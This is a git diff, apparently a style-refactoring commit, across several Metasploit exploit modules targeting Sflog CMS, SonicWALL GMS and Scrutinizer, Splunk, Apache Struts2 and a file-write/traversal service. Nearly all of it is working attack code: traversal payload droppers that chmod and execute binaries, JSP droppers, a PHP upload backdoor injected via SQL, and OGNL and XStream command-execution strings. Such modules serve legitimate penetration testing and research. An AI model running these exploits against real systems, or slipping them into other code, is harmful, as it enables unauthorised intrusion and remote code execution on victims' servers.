+ print_warning('Failed to detect remote operating system, trying anyway...') end if target.name =~ /Windows.*VB/ @@ -128,45 +128,45 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit_windows_vbs - traversal = "\\.." * traversal_depth + traversal = '\\..' * traversal_depth payload_base64 = Rex::Text.encode_base64(generate_payload_exe) temp = temp_dir('win') - decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.vbs" - encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64" - exe_file_name = "#{rand_text_alpha(4 + rand(3))}.exe" + decoder_file_name = "#{rand_text_alpha(rand(4..6))}.vbs" + encoded_file_name = "#{rand_text_alpha(rand(4..6))}.b64" + exe_file_name = "#{rand_text_alpha(rand(4..6))}.exe" - print_status("Dropping the encoded payload to filesystem...") + print_status('Dropping the encoded payload to filesystem...') write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64) vbs = generate_decoder_vbs({ - :temp_dir => "C:#{temp}", - :encoded_file_name => encoded_file_name, - :exe_file_name => exe_file_name + temp_dir: "C:#{temp}", + encoded_file_name: encoded_file_name, + exe_file_name: exe_file_name }) - print_status("Dropping the VBS decoder to filesystem...") + print_status('Dropping the VBS decoder to filesystem...') write_file("#{traversal}#{temp}#{decoder_file_name}", vbs) register_files_for_cleanup("C:#{temp}#{decoder_file_name}") register_files_for_cleanup("C:#{temp}#{encoded_file_name}") register_files_for_cleanup("C:#{temp}#{exe_file_name}") - print_status("Executing payload...") + print_status('Executing payload...') execute("#{traversal}\\#{win_dir}\\System32\\cscript //nologo C:#{temp}#{decoder_file_name}") end def exploit_windows_cmd - traversal = "\\.." * traversal_depth + traversal = '\\..' * traversal_depth execute("#{traversal}\\#{win_dir}\\System32\\cmd.exe /B /C #{payload.encoded}") end def exploit_linux_native - traversal = "/.." * traversal_depth + traversal = '/..' * traversal_depth payload_base64 = Rex::Text.encode_base64(generate_payload_exe) temp = temp_dir('linux') - encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64" - decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.sh" - elf_file_name = "#{rand_text_alpha(4 + rand(3))}.elf" + encoded_file_name = "#{rand_text_alpha(rand(4..6))}.b64" + decoder_file_name = "#{rand_text_alpha(rand(4..6))}.sh" + elf_file_name = "#{rand_text_alpha(rand(4..6))}.elf" - print_status("Dropping the encoded payload to filesystem...") + print_status('Dropping the encoded payload to filesystem...') write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64) decoder = <<~SH @@ -177,43 +177,43 @@ class MetasploitModule < Msf::Exploit::Remote #{temp}#{elf_file_name} SH - print_status("Dropping the decoder to filesystem...") + print_status('Dropping the decoder to filesystem...') write_file("#{traversal}#{temp}#{decoder_file_name}", decoder) register_files_for_cleanup("#{temp}#{decoder_file_name}") register_files_for_cleanup("#{temp}#{encoded_file_name}") register_files_for_cleanup("#{temp}#{elf_file_name}") - print_status("Giving execution permissions to the decoder...") + print_status('Giving execution permissions to the decoder...') execute("#{traversal}/bin/chmod 777 #{temp}#{decoder_file_name}") - print_status("Executing decoder and payload...") + print_status('Executing decoder and payload...') execute("#{traversal}/bin/sh #{temp}#{decoder_file_name}") end def exploit_linux_cmd temp = temp_dir('linux') - elf = rand_text_alpha(4 + rand(4)) + elf = rand_text_alpha(rand(4..7)) - traversal = "/.." * traversal_depth - print_status("Dropping payload...") + traversal = '/..' * traversal_depth + print_status('Dropping payload...') write_file("#{traversal}#{temp}#{elf}", payload.encoded) register_files_for_cleanup("#{temp}#{elf}") - print_status("Providing execution permissions...") + print_status('Providing execution permissions...') execute("#{traversal}/bin/chmod 777 #{temp}#{elf}") - print_status("Executing payload...") + print_status('Executing payload...') execute("#{traversal}#{temp}#{elf}") end def generate_decoder_vbs(opts = {}) - decoder_path = File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64") + decoder_path = File.join(Rex::Exploitation::DATA_DIR, 'exploits', 'cmdstager', 'vbs_b64') - f = File.new(decoder_path, "rb") + f = File.new(decoder_path, 'rb') decoder = f.read(f.stat.size) f.close - decoder.gsub!(/>>decode_stub/, "") - decoder.gsub!(/^echo /, "") + decoder.gsub!(/>>decode_stub/, '') + decoder.gsub!(/^echo /, '') decoder.gsub!(/ENCODED/, "#{opts[:temp_dir]}#{opts[:encoded_file_name]}") decoder.gsub!(/DECODED/, "#{opts[:temp_dir]}#{opts[:exe_file_name]}") @@ -222,18 +222,18 @@ class MetasploitModule < Msf::Exploit::Remote def get_os os = nil - path = "" - hint = rand_text_alpha(3 + rand(4)) + path = '' + hint = rand_text_alpha(rand(3..6)) - res = send_request(20, "writeDataFile", rand_text_alpha(4 + rand(10)), "/#{hint}/#{hint}") + res = send_request(20, 'writeDataFile', rand_text_alpha(rand(4..13)), "/#{hint}/#{hint}") - if res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\/#{hint}\/#{hint} \(No such file or directory\)/ - path = $1 + if res && res.code == 200 && res.body =~ %r{java.io.FileNotFoundException: (.*)/#{hint}/#{hint} \(No such file or directory\)} + path = ::Regexp.last_match(1) elsif res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\\#{hint}\\#{hint} \(The system cannot find the path specified\)/ - path = $1 + path = ::Regexp.last_match(1) end - if path =~ /^\// + if path =~ %r{^/} os = 'linux' elsif path =~ /^[a-zA-Z]:\\/ os = 'win' @@ -243,7 +243,7 @@ class MetasploitModule < Msf::Exploit::Remote end def temp_dir(os) - temp = "" + temp = '' case os when 'linux' temp = linux_temp_dir @@ -255,17 +255,17 @@ class MetasploitModule < Msf::Exploit::Remote end def linux_temp_dir - dir = "/tmp/" + dir = '/tmp/' if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty? dir = datastore['TEMP_DIR'] end - unless dir.start_with?("/") + unless dir.start_with?('/') dir = "/#{dir}" end - unless dir.end_with?("/") + unless dir.end_with?('/') dir = "#{dir}/" end @@ -279,14 +279,14 @@ class MetasploitModule < Msf::Exploit::Remote dir = datastore['TEMP_DIR'] end - dir.gsub!(/\//, "\\") - dir.gsub!(/^([A-Za-z]:)?/, "") + dir.gsub!(%r{/}, '\\') + dir.gsub!(/^([A-Za-z]:)?/, '') - unless dir.start_with?("\\") + unless dir.start_with?('\\') dir = "\\#{dir}" end - unless dir.end_with?("\\") + unless dir.end_with?('\\') dir = "#{dir}\\" end @@ -294,12 +294,12 @@ class MetasploitModule < Msf::Exploit::Remote end def win_dir - dir = "WINDOWS" + dir = 'WINDOWS' if datastore['WINDIR'] dir = datastore['WINDIR'] - dir.gsub!(/\//, "\\") - dir.gsub!(/[\\]*$/, "") - dir.gsub!(/^([A-Za-z]:)?[\\]*/, "") + dir.gsub!(%r{/}, '\\') + dir.gsub!(/\\*$/, '') + dir.gsub!(/^([A-Za-z]:)?\\*/, '') end dir @@ -316,7 +316,7 @@ class MetasploitModule < Msf::Exploit::Remote end def write_file(file_name, contents) - res = send_request(20, "writeDataFile", Rex::Text.uri_encode(contents), file_name) + res = send_request(20, 'writeDataFile', Rex::Text.uri_encode(contents), file_name) unless res && res.code == 200 && res.body.to_s =~ /Data successfully writen to file: / fail_with(Failure::Unknown, "#{peer} - Failed to write file... aborting") @@ -326,16 +326,16 @@ class MetasploitModule < Msf::Exploit::Remote end def execute(command) - res = send_request(1, "run", command) + res = send_request(1, 'run', command) res end - def send_request(timeout, command, query, source = rand_text_alpha(rand(4) + 4)) - data = "&invoker=#{rand_text_alpha(rand(4) + 4)}" - data << "&title=#{rand_text_alpha(rand(4) + 4)}" - data << "¶ms=#{rand_text_alpha(rand(4) + 4)}" - data << "&id=#{rand_text_alpha(rand(4) + 4)}" + def send_request(timeout, command, query, source = rand_text_alpha(rand(4..7))) + data = "&invoker=#{rand_text_alpha(rand(4..7))}" + data << "&title=#{rand_text_alpha(rand(4..7))}" + data << "¶ms=#{rand_text_alpha(rand(4..7))}" + data << "&id=#{rand_text_alpha(rand(4..7))}" data << "&cmd=#{command}" data << "&source=#{source}" data << "&query=#{query}" diff --git a/modules/exploits/multi/http/sflog_upload_exec.rb b/modules/exploits/multi/http/sflog_upload_exec.rb index 58ed9eea66..e7d66cb5fd 100644 --- a/modules/exploits/multi/http/sflog_upload_exec.rb +++ b/modules/exploits/multi/http/sflog_upload_exec.rb @@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => "Sflog! CMS 1.0 Arbitrary File Upload Vulnerability", + 'Name' => 'Sflog! CMS 1.0 Arbitrary File Upload Vulnerability', 'Description' => %q{ This module exploits multiple design flaws in Sflog 1.0. By default, the CMS has a default admin credential of "admin:secret", which can be abused to access @@ -65,9 +65,9 @@ class MetasploitModule < Msf::Exploit::Remote res = send_request_raw({ 'uri' => "#{base}/index.php" }) - if not res + if !res return Exploit::CheckCode::Unknown - elsif res and res.body =~ /\<input type\=\"hidden\" name\=\"sitesearch\" value\=\"www\.thebonnotgang\.com\/sflog/ + elsif res and res.body =~ %r{<input type="hidden" name="sitesearch" value="www\.thebonnotgang\.com/sflog} return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe @@ -89,7 +89,7 @@ class MetasploitModule < Msf::Exploit::Remote } }) - if res and res.get_cookies.include?('PHPSESSID') and res.body !~ /\<i\>Access denied\!\<\/i\>/ + if res and res.get_cookies.include?('PHPSESSID') and res.body !~ %r{<i>Access denied!</i>} return res.get_cookies else return '' @@ -101,14 +101,14 @@ class MetasploitModule < Msf::Exploit::Remote # def upload_exec(cookie, base, php_fname, p) data = Rex::MIME::Message.new - data.add_part('download', nil, nil, "form-data; name=\"blogID\"") - data.add_part('7', nil, nil, "form-data; name=\"contentType\"") - data.add_part('3000', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"") + data.add_part('download', nil, nil, 'form-data; name="blogID"') + data.add_part('7', nil, nil, 'form-data; name="contentType"') + data.add_part('3000', nil, nil, 'form-data; name="MAX_FILE_SIZE"') data.add_part(p, 'text/plain', nil, "form-data; name=\"fileID\"; filename=\"#{php_fname}\"") post_data = data.to_s - print_status("Uploading payload (#{p.length.to_s} bytes)...") + print_status("Uploading payload (#{p.length} bytes)...") res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{base}/admin/manage.php", @@ -121,8 +121,8 @@ class MetasploitModule < Msf::Exploit::Remote } }) - if not res - print_error("No response from host") + if !res + print_error('No response from host') return end @@ -130,7 +130,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Requesting '#{target_path}'...") res = send_request_raw({ 'uri' => target_path }) if res and res.code == 404 - print_error("Upload unsuccessful: #{res.code.to_s}") + print_error("Upload unsuccessful: #{res.code}") return end @@ -146,13 +146,13 @@ class MetasploitModule < Msf::Exploit::Remote cookie = do_login(base) if cookie.empty? - print_error("Unable to login") + print_error('Unable to login') return end php_fname = "#{Rex::Text.rand_text_alpha(5)}.php" - p = get_write_exec_payload(:unlink_self => true) + p = get_write_exec_payload(unlink_self: true) upload_exec(cookie, base, php_fname, p) end end diff --git a/modules/exploits/multi/http/simple_backdoors_exec.rb b/modules/exploits/multi/http/simple_backdoors_exec.rb index 409b2b109a..ce106209b3 100644 --- a/modules/exploits/multi/http/simple_backdoors_exec.rb +++ b/modules/exploits/multi/http/simple_backdoors_exec.rb @@ -80,7 +80,7 @@ class MetasploitModule < Msf::Exploit::Remote } }) unless res && res.code == 200 - fail_with(Failure::Unknown, "Failed to execute the command.") + fail_with(Failure::Unknown, 'Failed to execute the command.') end res end diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb index 766a2aceea..b2d7f69e58 100644 --- a/modules/exploits/multi/http/sonicwall_gms_upload.rb +++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb @@ -6,7 +6,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking - HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } + HttpFingerprint = { pattern: [ /Apache-Coyote/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE @@ -85,12 +85,12 @@ class MetasploitModule < Msf::Exploit::Remote res = send_request_cgi( { - 'uri' => normalize_uri(target_uri.path, "appliance", "applianceMainPage") + "?skipSessionCheck=1", + 'uri' => normalize_uri(target_uri.path, 'appliance', 'applianceMainPage') + '?skipSessionCheck=1', 'method' => 'POST', 'connection' => 'TE, close', 'headers' => { - 'TE' => "deflate,gzip;q=0.3", + 'TE' => 'deflate,gzip;q=0.3' }, 'vars_post' => { 'num' => '123456', @@ -105,7 +105,7 @@ class MetasploitModule < Msf::Exploit::Remote @install_path = nil if res and res.code == 200 and res.body =~ /VALUE="(.*)logs/ - @install_path = $1 + @install_path = ::Regexp.last_match(1) end @install_path @@ -113,22 +113,22 @@ class MetasploitModule < Msf::Exploit::Remote def upload_file(location, filename, contents) post_data = Rex::MIME::Message.new - post_data.add_part("file_system", nil, nil, "form-data; name=\"action\"") - post_data.add_part("uploadFile", nil, nil, "form-data; name=\"task\"") - post_data.add_part(location, nil, nil, "form-data; name=\"searchFolder\"") - post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadFilename\"; filename=\"#{filename}\"") + post_data.add_part('file_system', nil, nil, 'form-data; name="action"') + post_data.add_part('uploadFile', nil, nil, 'form-data; name="task"') + post_data.add_part(location, nil, nil, 'form-data; name="searchFolder"') + post_data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"uploadFilename\"; filename=\"#{filename}\"") data = post_data.to_s res = send_request_cgi( { - 'uri' => normalize_uri(target_uri.path, "appliance", "applianceMainPage") + "?skipSessionCheck=1", + 'uri' => normalize_uri(target_uri.path, 'appliance', 'applianceMainPage') + '?skipSessionCheck=1', 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'headers' => { - 'TE' => "deflate,gzip;q=0.3", + 'TE' => 'deflate,gzip;q=0.3' }, 'connection' => 'TE, close' } @@ -143,10 +143,10 @@ class MetasploitModule < Msf::Exploit::Remote end def upload_and_run_jsp(filename, contents) - upload_file(path_join(install_path, "webapps", "appliance"), filename, contents) + upload_file(path_join(install_path, 'webapps', 'appliance'), filename, contents) send_request_cgi( { - 'uri' => normalize_uri(target_uri.path, "appliance", filename), + 'uri' => normalize_uri(target_uri.path, 'appliance', filename), 'method' => 'GET' } ) @@ -157,17 +157,17 @@ class MetasploitModule < Msf::Exploit::Remote return Exploit::CheckCode::Safe end - if install_path.include?("\\") - vprint_status("Target looks like Windows") + if install_path.include?('\\') + vprint_status('Target looks like Windows') else - vprint_status("Target looks like Linux") + vprint_status('Target looks like Linux') end return Exploit::CheckCode::Vulnerable end def exploit # Get Tomcat installation path - print_status("Retrieving Tomcat installation path...") + print_status('Retrieving Tomcat installation path...') if install_path.nil? fail_with(Failure::NotVulnerable, "#{peer} - Unable to retrieve the Tomcat installation path") @@ -175,7 +175,7 @@ class MetasploitModule < Msf::Exploit::Remote print_good("Tomcat installed on #{install_path}") - if target['Platform'] == "java" + if target['Platform'] == 'java' exploit_java else exploit_native @@ -183,16 +183,16 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit_java - print_status("Uploading WAR file") + print_status('Uploading WAR file') app_base = rand_text_alphanumeric(4 + rand(32 - 4)) - war = payload.encoded_war({ :app_name => app_base }).to_s - war_filename = path_join(install_path, "webapps", "#{app_base}.war") + war = payload.encoded_war({ app_name: app_base }).to_s + war_filename = path_join(install_path, 'webapps', "#{app_base}.war") register_files_for_cleanup(war_filename) dropper = jsp_drop_bin(war, war_filename) - dropper_filename = Rex::Text.rand_text_alpha(8) + ".jsp" + dropper_filename = Rex::Text.rand_text_alpha(8) + '.jsp' upload_and_run_jsp(dropper_filename, dropper) @@ -200,10 +200,10 @@ class MetasploitModule < Msf::Exploit::Remote select(nil, nil, nil, 2) # Now make a request to trigger the newly deployed war - print_status("Attempting to launch payload in deployed WAR...") + print_status('Attempting to launch payload in deployed WAR...') res = send_request_cgi( { - 'uri' => normalize_uri(target_uri.path, app_base, Rex::Text.rand_text_alpha(rand(8) + 8)), + 'uri' => normalize_uri(target_uri.path, app_base, Rex::Text.rand_text_alpha(rand(8..15))), 'method' => 'GET' } ) @@ -215,28 +215,28 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit_native - print_status("Uploading executable file") + print_status('Uploading executable file') exe = payload.encoded_exe exe_filename = path_join(install_path, Rex::Text.rand_text_alpha(8)) - if target['Platform'] == "win" - exe << ".exe" + if target['Platform'] == 'win' + exe << '.exe' end register_files_for_cleanup(exe_filename) dropper = jsp_drop_and_execute(exe, exe_filename) - dropper_filename = Rex::Text.rand_text_alpha(8) + ".jsp" + dropper_filename = Rex::Text.rand_text_alpha(8) + '.jsp' upload_and_run_jsp(dropper_filename, dropper) end def path_join(*paths) - if install_path.include?("\\") - path = paths.join("\\") - path.gsub!(%r|\\+|, "\\\\\\\\") + if install_path.include?('\\') + path = paths.join('\\') + path.gsub!(/\\+/, '\\\\\\\\') else - path = paths.join("/") - path.gsub!(%r|//+|, "/") + path = paths.join('/') + path.gsub!(%r{//+}, '/') end path @@ -244,40 +244,40 @@ class MetasploitModule < Msf::Exploit::Remote # This should probably go in a mixin def jsp_drop_bin(bin_data, output_file) - jspraw = %Q|<%@ page import="java.io.*" %>\n| - jspraw << %Q|<%\n| - jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| + jspraw = %(<%@ page import="java.io.*" %>\n) + jspraw << %(<%\n) + jspraw << %(String data = "#{Rex::Text.to_hex(bin_data, '')}";\n) - jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| + jspraw << %|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| - jspraw << %Q|int numbytes = data.length();\n| + jspraw << %|int numbytes = data.length();\n| - jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| - jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| - jspraw << %Q|{\n| - jspraw << %Q| char char1 = (char) data.charAt(counter);\n| - jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| - jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| - jspraw << %Q| comb <<= 4;\n| - jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| - jspraw << %Q| bytes[counter/2] = (byte)comb;\n| - jspraw << %Q|}\n| + jspraw << %(byte[] bytes = new byte[numbytes/2];\n) + jspraw << %|for (int counter = 0; counter < numbytes; counter += 2)\n| + jspraw << %({\n) + jspraw << %| char char1 = (char) data.charAt(counter);\n| + jspraw << %| char char2 = (char) data.charAt(counter + 1);\n| + jspraw << %| int comb = Character.digit(char1, 16) & 0xff;\n| + jspraw << %( comb <<= 4;\n) + jspraw << %| comb += Character.digit(char2, 16) & 0xff;\n| + jspraw << %| bytes[counter/2] = (byte)comb;\n| + jspraw << %(}\n) - jspraw << %Q|outputstream.write(bytes);\n| - jspraw << %Q|outputstream.close();\n| - jspraw << %Q|%>\n| + jspraw << %|outputstream.write(bytes);\n| + jspraw << %|outputstream.close();\n| + jspraw << %(%>\n) jspraw end def jsp_execute_command(command) - jspraw = %Q|<%@ page import="java.io.*" %>\n| - jspraw << %Q|<%\n| - jspraw << %Q|try {\n| - jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n| - jspraw << %Q|} catch (IOException ioe) { }\n| - jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| - jspraw << %Q|%>\n| + jspraw = %(<%@ page import="java.io.*" %>\n) + jspraw << %(<%\n) + jspraw << %(try {\n) + jspraw << %| Runtime.getRuntime().exec("chmod +x #{command}");\n| + jspraw << %|} catch (IOException ioe) { }\n| + jspraw << %|Runtime.getRuntime().exec("#{command}");\n| + jspraw << %(%>\n) jspraw end diff --git a/modules/exploits/multi/http/sonicwall_scrutinizer_methoddetail_sqli.rb b/modules/exploits/multi/http/sonicwall_scrutinizer_methoddetail_sqli.rb index 53e5032248..0c1cfe01ed 100644 --- a/modules/exploits/multi/http/sonicwall_scrutinizer_methoddetail_sqli.rb +++ b/modules/exploits/multi/http/sonicwall_scrutinizer_methoddetail_sqli.rb @@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => "Dell SonicWALL Scrutinizer 11.01 methodDetail SQL Injection", + 'Name' => 'Dell SonicWALL Scrutinizer 11.01 methodDetail SQL Injection', 'Description' => %q{ This module exploits a vulnerability found in Dell SonicWALL Scrutinizer. The methodDetail parameter in exporters.php allows an attacker to write arbitrary files to the file system @@ -44,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Dell SonicWALL Scrutinizer 11.01 on Windows', { 'Arch' => ARCH_X86, - 'Platform' => 'win', + 'Platform' => 'win' } ], [ @@ -68,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ - OptString.new('TARGETURI', [ true, "Base Application path", "/" ]), + OptString.new('TARGETURI', [ true, 'Base Application path', '/' ]), OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]), OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'admin' ]) ] @@ -211,14 +211,14 @@ class MetasploitModule < Msf::Exploit::Remote def get_php_backdoor(os) case os when WINDOWS - chmod_code = %Q|chmod($bname, 0777);| - exec_code = %Q|exec($bname);| + chmod_code = %|chmod($bname, 0777);| + exec_code = %|exec($bname);| when LINUX - chmod_code = %Q|chmod("./" . $bname, 0777);| - exec_code = %Q|exec("./" . $bname);| + chmod_code = %|chmod("./" . $bname, 0777);| + exec_code = %|exec("./" . $bname);| end - %Q|<?php + %|<?php $bname = basename( $_FILES['uploadedfile']['name']); $target_path = "./" . $bname; move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path); @@ -286,13 +286,13 @@ class MetasploitModule < Msf::Exploit::Remote def upload_php_backdoor(opts) d4d_path = opts[:d4d_path] backdoor_fname = opts[:backdoor_fname] - payload_fname = opts[:payload_fname] + opts[:payload_fname] sid = opts[:sid] uid = opts[:uid] os = opts[:os] print_status("Injecting a PHP upload backdoor (#{backdoor_fname})...") - hex_backdoor = get_php_backdoor(os).unpack("H*")[0] + hex_backdoor = get_php_backdoor(os).unpack('H*')[0] sqli_str = "-6045 UNION ALL SELECT 0x#{hex_backdoor},#{pad_null(19)} INTO DUMPFILE '#{d4d_path}/#{backdoor_fname}' #" do_sqli(sqli_str, sid, uid) end diff --git a/modules/exploits/multi/http/splunk_mappy_exec.rb b/modules/exploits/multi/http/splunk_mappy_exec.rb index ab09c644b0..e027bffb12 100644 --- a/modules/exploits/multi/http/splunk_mappy_exec.rb +++ b/modules/exploits/multi/http/splunk_mappy_exec.rb @@ -24,7 +24,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Author' => [ "Gary O'Leary-Steele", # Vulnerability discovery and exploit - "juan vazquez" # Metasploit module + 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ @@ -45,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Universal CMD', { 'Arch' => ARCH_CMD, - 'Platform' => %w{linux unix win} + 'Platform' => %w[linux unix win] } ] ], @@ -76,7 +76,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Using command: #{p}") cmd = Rex::Text.encode_base64(p) - print_status("Attempting to login...") + print_status('Attempting to login...') do_login send_request_cgi( @@ -87,14 +87,14 @@ class MetasploitModule < Msf::Exploit::Remote 'headers' => { 'X-Requested-With' => 'XMLHttpRequest', - 'X-Splunk-Session' => @auth_cookies.split("=")[1] + 'X-Splunk-Session' => @auth_cookies.split('=')[1] }, 'vars_post' => { 'search' => "search index=_internal source=*splunkd.log |mappy x=eval(\"sys.modules['os'].system(base64.b64decode('#{cmd}'))\")", - 'status_buckets' => "300", - 'earliest_time' => "0", - 'latest_time' => "" + 'status_buckets' => '300', + 'earliest_time' => '0', + 'latest_time' => '' } }, 25 ) @@ -129,8 +129,8 @@ class MetasploitModule < Msf::Exploit::Remote session_id_port = session_id = '' if res and res.code == 200 and !res.get_cookies.empty? - res.get_cookies.split(';').each { |c| - c.split(',').each { |v| + res.get_cookies.split(';').each do |c| + c.split(',').each do |v| if v.split('=')[0] =~ /cval/ cval = v.split('=')[1] elsif v.split('=')[0] =~ /uid/ @@ -139,10 +139,10 @@ class MetasploitModule < Msf::Exploit::Remote session_id_port = v.split('=')[0] session_id = v.split('=')[1] end - } - } + end + end else - fail_with(Failure::NotFound, "Unable to get session cookies") + fail_with(Failure::NotFound, 'Unable to get session cookies') end res = send_request_cgi( @@ -159,19 +159,19 @@ class MetasploitModule < Msf::Exploit::Remote }, 25 ) - if not res or res.code != 303 - fail_with(Failure::NoAccess, "Unable to authenticate") + if !res or res.code != 303 + fail_with(Failure::NoAccess, 'Unable to authenticate') else session_id_port = '' session_id = '' - res.get_cookies.split(';').each { |c| - c.split(',').each { |v| + res.get_cookies.split(';').each do |c| + c.split(',').each do |v| if v.split('=')[0] =~ /session_id/ session_id_port = v.split('=')[0] session_id = v.split('=')[1] end - } - } + end + end @auth_cookies = "#{session_id_port}=#{session_id}" end end diff --git a/modules/exploits/multi/http/struts2_rest_xstream.rb b/modules/exploits/multi/http/struts2_rest_xstream.rb index 8fdf651dc9..cb26389a4c 100644 --- a/modules/exploits/multi/http/struts2_rest_xstream.rb +++ b/modules/exploits/multi/http/struts2_rest_xstream.rb @@ -37,39 +37,51 @@ class MetasploitModule < Msf::Exploit::Remote 'Targets' => [ [ 'Unix (In-Memory)', - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Type' => :unix_memory + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_memory + } ], [ 'Windows (In-Memory)', - 'Platform' => 'win', - 'Arch' => ARCH_CMD, - 'Type' => :win_memory + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'Type' => :win_memory + } ], [ 'Python (In-Memory)', - 'Platform' => 'python', - 'Arch' => ARCH_PYTHON, - 'Type' => :py_memory + { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Type' => :py_memory + } ], [ 'PowerShell (In-Memory)', - 'Platform' => 'win', - 'Arch' => [ARCH_X86, ARCH_X64], - 'Type' => :psh_memory + { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :psh_memory + } ], [ 'Linux (Dropper)', - 'Platform' => 'linux', - 'Arch' => [ARCH_X86, ARCH_X64], - 'Type' => :linux_dropper + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :linux_dropper + } ], [ 'Windows (Dropper)', - 'Platform' => 'win', - 'Arch' => [ARCH_X86, ARCH_X64], - 'Type' => :win_dropper + { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :win_dropper + } ] ], 'DefaultTarget' => 0, @@ -102,13 +114,13 @@ class MetasploitModule < Msf::Exploit::Remote end end - def execute_command(cmd, opts = {}) + def execute_command(cmd, _opts = {}) cmd = case target['Type'] when :unix_memory, :linux_dropper - %W{/bin/sh -c #{cmd}} + %W[/bin/sh -c #{cmd}] when :py_memory - %W{python -c #{cmd}} + %W[python -c #{cmd}] when :psh_memory if payload cmd_psh_payload( @@ -118,10 +130,10 @@ class MetasploitModule < Msf::Exploit::Remote encode_final_payload: true ).split else - %W{powershell.exe -c #{cmd}} + %W[powershell.exe -c #{cmd}] end when :win_memory, :win_dropper - %W{cmd.exe /c #{cmd}} + %W[cmd.exe /c #{cmd}] end # Encode each command argument with XML entities diff --git a/modules/exploits/multi/http/struts_code_exec.rb b/modules/exploits/multi/http/struts_code_exec.rb index 7c838454e2..861222cbee 100644 --- a/modules/exploits/multi/http/struts_code_exec.rb +++ b/modules/exploits/multi/http/struts_code_exec.rb @@ -65,35 +65,35 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(8080), - OptString.new('URI', [ true, 'The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action', ""]), - OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ]) + OptString.new('URI', [ true, 'The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action', '']), + OptString.new('CMD', [ false, 'Execute this command instead of using command stager', '' ]) ] ) self.needs_cleanup = true end - def execute_command(cmd, opts = {}) + def execute_command(cmd, _opts = {}) uri = normalize_uri(datastore['URI']) - uri = Rex::Text::uri_encode(uri) + uri = Rex::Text.uri_encode(uri) var_a = rand_text_alpha_lower(4) var_b = rand_text_alpha_lower(2) var_c = rand_text_alpha_lower(4) var_d = rand_text_alpha_lower(4) - var_e = rand_text_alpha_lower(4) + rand_text_alpha_lower(4) uri << "?(%27\\u0023_memberAccess[\\%27allowStaticMethodAccess\\%27]%27)(#{var_a})=true&" uri << "(aaaa)((%27\\u0023context[\\%27xwork.MethodAccessor.denyMethodExecution\\%27]\\u003d\\u0023#{var_c}%27)(\\u0023#{var_c}\\u003dnew%20java.lang.Boolean(\"false\")))&" uri << "(#{var_b})((%27\\u0023#{var_d}.exec(\"CMD\")%27)(\\u0023#{var_d}\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'win' uri << "(asdf)(('\\u0023rt.exec(\"CMD\".split(\"@\"))')(\\u0023rt\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'linux' - uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd)) + uri.gsub!(/CMD/, Rex::Text.uri_encode(cmd)) vprint_status("Attempting to execute: #{cmd}") - resp = send_request_raw({ + send_request_raw({ 'uri' => uri, 'version' => '1.1', - 'method' => 'GET', + 'method' => 'GET' }, 5) end @@ -103,19 +103,19 @@ class MetasploitModule < Msf::Exploit::Remote execute_cmdstager({ temp: '.', tftphost: tftphost }) 